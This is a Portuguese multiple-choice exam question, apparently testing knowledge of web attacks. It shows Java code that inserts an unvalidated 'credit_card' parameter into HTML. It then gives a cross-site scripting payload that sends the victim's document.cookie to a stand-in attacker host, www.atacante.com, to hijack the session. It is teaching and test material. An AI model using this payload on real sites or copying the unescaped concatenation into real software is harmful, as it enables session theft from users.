Considere um cenário em que uma aplicação utiliza dados não confiáveis na construção do seguinte fragmento HTML sem validação ou filtro:
(String) page += "<input name='num_cartao_credito' type='TEXT' value='" +
request.getParameter("credit_card") + " '>";
Considere, ainda, que um atacante modifica o parâmetro 'credit_card' em seu navegador para:
'><script>document.location= 'http://www.atacante.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que sequestre a sessão atual do usuário.
Este é um cenário de ataque do tipo
